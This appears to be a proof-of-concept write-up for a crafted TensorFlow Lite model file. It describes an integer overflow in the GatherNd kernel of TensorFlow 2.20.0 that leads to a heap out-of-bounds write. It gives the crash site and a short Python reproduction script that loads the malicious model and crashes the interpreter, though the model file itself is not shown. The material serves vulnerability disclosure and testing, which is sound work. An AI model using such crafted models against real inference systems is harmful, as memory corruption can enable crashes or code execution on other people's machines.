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TFLite GatherNd Integer Overflow → Heap OOB WRITE

Crafted .tflite model that triggers a heap-buffer-overflow WRITE via signed int32 overflow in the TFLite GatherNd kernel.

Target: tensorflow 2.20.0
CWE: CWE-190 (Integer Overflow) → CWE-122 (Heap Buffer Overflow)
Crash site: reference_ops.h:621 in GatherNd<bool, short>()
Trigger: invoke()

Reproduction

pip install tensorflow==2.20.0 numpy
python3 -c "
import numpy as np, tensorflow as tf
interp = tf.lite.Interpreter(model_path='poc.tflite')
interp.allocate_tensors()
inp = interp.get_input_details()
interp.set_tensor(inp[0]['index'], np.zeros(inp[0]['shape'], dtype=inp[0]['dtype']))
interp.invoke()
"

Result: Segmentation fault (exit code 139).

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